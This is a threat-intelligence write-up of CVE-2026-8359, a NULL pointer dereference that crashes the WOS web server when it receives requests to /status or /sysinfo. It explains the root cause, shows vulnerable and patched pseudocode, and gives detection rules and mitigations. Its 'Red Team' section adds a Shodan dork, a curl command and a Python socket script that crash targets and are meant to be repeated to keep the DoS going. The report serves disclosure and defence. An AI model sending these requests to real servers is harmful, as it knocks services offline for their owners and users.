CVE-2026-8359
Executive Summary
CVE-2026-8359 is a critical denial-of-service (DoS) vulnerability in the WOS web server software. The flaw resides in the request routing logic for URL paths starting with /status or /sysinfo. When such a request is received, the server attempts to load WOSHttpStatusModule.dll to handle the request. However, this DLL is not present in the standard installation. As a result, the function pointer for WOSBin_LoadHttpModule (which would normally be resolved from the DLL's export table) is set to NULL. The server then attempts to call this NULL pointer, leading to a crash (access violation) and a denial of service.
The vulnerability is unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the attack vector is network-based, requires no authentication, and is trivial to trigger, making it a high-priority risk for any organization using WOS.
No supply chain or package security implications – this is a standalone server software vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Base Score: 7.5 (HIGH)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – unauthenticated.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: High (A:H) – server crash leads to total service disruption.
Threat Level: High. The vulnerability is trivial to exploit (single HTTP request), requires no authentication, and results in a complete denial of service. While no public exploit exists, the attack vector is obvious and can be weaponized with minimal effort.
Deep Dive & Mechanics
The vulnerability is a classic NULL pointer dereference (CWE-476) in the WOS web server's request handling logic.
Normal Flow:
- WOS receives an HTTP request.
- The server parses the URL path.
- If the path starts with
/statusor/sysinfo, the server is designed to loadWOSHttpStatusModule.dllto handle the request. - The DLL's export table contains the function
WOSBin_LoadHttpModule, which is called to initialize the module.
Vulnerable Flow:
- WOS receives a request with a path like
/statusor/sysinfo. - The server attempts to load
WOSHttpStatusModule.dll. - The DLL is not present in the installation directory.
- The function pointer for
WOSBin_LoadHttpModuleis set to NULL (or remains uninitialized). - The server calls the function pointer at address
0x00000000. - This causes an access violation (segfault) and the server process crashes.
Root Cause: The software assumes the DLL will always be present and does not validate the function pointer before calling it. This is a missing null-check vulnerability.
Attack Vector: An unauthenticated attacker sends a single HTTP GET request to any WOS server with a path starting with /status or /sysinfo. Example:
GET /status HTTP/1.1
Host: target-wos-server
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual C/C++):
// WOS server request handler
void handle_request(Request *req) {
if (strncmp(req->path, "/status", 7) == 0 || strncmp(req->path, "/sysinfo", 8) == 0) {
// Load the module DLL
HMODULE hModule = LoadLibrary("WOSHttpStatusModule.dll");
if (hModule == NULL) {
// DLL not found - function pointer remains NULL
// BUG: No error handling
}
// Get function pointer
LoadHttpModuleFunc func = (LoadHttpModuleFunc)GetProcAddress(hModule, "WOSBin_LoadHttpModule");
// BUG: No null check before calling
func(); // CRASH if hModule was NULL
}
// ... other handling
}
Patched Code (Conceptual):
void handle_request(Request *req) {
if (strncmp(req->path, "/status", 7) == 0 || strncmp(req->path, "/sysinfo", 8) == 0) {
HMODULE hModule = LoadLibrary("WOSHttpStatusModule.dll");
if (hModule == NULL) {
// Proper error handling: return 404 or 500
send_response(req, 404, "Module not found");
return;
}
LoadHttpModuleFunc func = (LoadHttpModuleFunc)GetProcAddress(hModule, "WOSBin_LoadHttpModule");
if (func == NULL) {
send_response(req, 500, "Function not found");
FreeLibrary(hModule);
return;
}
func(); // Safe to call
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A target running WOS with the vulnerable version.
- Network access to the target (port 80/443 typically).
Exploit Steps:
- Identify a WOS server (e.g., via Shodan dork
http.title:"WOS"). - Send a crafted HTTP request:
curl -v "http://target-wos-server/status"
- Observe the server crash. The connection will be reset or timeout.
- Repeat to maintain DoS.
No public exploit code exists. The above curl command is the full exploit.
Weaponization (Python):
import socket
def exploit(target, port=80):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
payload = b"GET /status HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n"
sock.send(payload)
sock.close()
if __name__ == "__main__":
exploit("192.168.1.100")
Blue Team (Defense & Detection)
Detection:
- Monitor for HTTP requests with paths
/statusor/sysinfo. - Look for sudden server crashes or process terminations.
- Use the detection rules below.
Mitigation:
- Immediate: Block requests to
/statusand/sysinfoat the WAF or reverse proxy. - Long-term: Apply vendor patch when available, or remove the vulnerable code path.
Honeypot: Deploy a fake WOS server that logs all requests to /status and /sysinfo for threat intelligence.
Indicators of Compromise (IOCs)
| IOC Type | Value | Description |
|---|---|---|
| URL Path | /status |
Trigger path for the vulnerability |
| URL Path | /sysinfo |
Alternative trigger path |
| Log Entry | GET /status HTTP/1.1 |
Typical request in access logs |
| Log Entry | GET /sysinfo HTTP/1.1 |
Alternative request in access logs |
| System Log | Access violation at address 0x00000000 |
Windows crash log |
| System Log | Segmentation fault (core dumped) |
Linux crash log |
| Process | wos.exe or wos |
WOS server process name |
| DLL | WOSHttpStatusModule.dll |
Missing DLL that causes the crash |
Detection Engineering
YARA Rule
rule CVE_2026_8359_WOS_NULL_Pointer_Dereference {
meta:
description = "Detects WOS server binary with missing null check for WOSHttpStatusModule.dll"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-8359"
hash = "unknown"
strings:
$s1 = "WOSHttpStatusModule.dll" ascii wide nocase
$s2 = "WOSBin_LoadHttpModule" ascii wide nocase
$s3 = "/status" ascii wide nocase
$s4 = "/sysinfo" ascii wide nocase
condition:
all of ($s1, $s2) or all of ($s3, $s4)
}
Sigma Rule
title: CVE-2026-8359 - WOS NULL Pointer Dereference via /status or /sysinfo
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable /status or /sysinfo paths on WOS servers.
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-8359
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'GET'
cs-uri-stem:
- '/status'
- '/sysinfo'
condition: selection
falsepositives:
- Legitimate status monitoring tools (if WOS is patched)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-8359 WOS NULL Pointer Dereference Attempt"; flow:to_server; content:"GET"; http_method; content:"/status"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2026-8359 WOS NULL Pointer Dereference Attempt"; flow:to_server; content:"GET"; http_method; content:"/sysinfo"; http_uri; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Block vulnerable paths at the perimeter (WAF, reverse proxy, firewall):
- Block all requests containing
/statusor/sysinfoin the URL path.
- Block all requests containing
- Monitor logs for exploitation attempts using the Sigma rule above.
- Restart the WOS service if it crashes (automated restart script).
Long-term Fix:
- Vendor patch: Await an official patch from WOS that adds null-pointer checks.
- Workaround: If source code is available, add a null check before calling
WOSBin_LoadHttpModule. - Replace software: Consider migrating to a maintained web server (e.g., Nginx, Apache) if WOS is no longer supported.
Validation:
- After applying mitigations, send a test request to
/statusand verify the server returns a 404 or 500 error instead of crashing.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated for CVE-2026-8359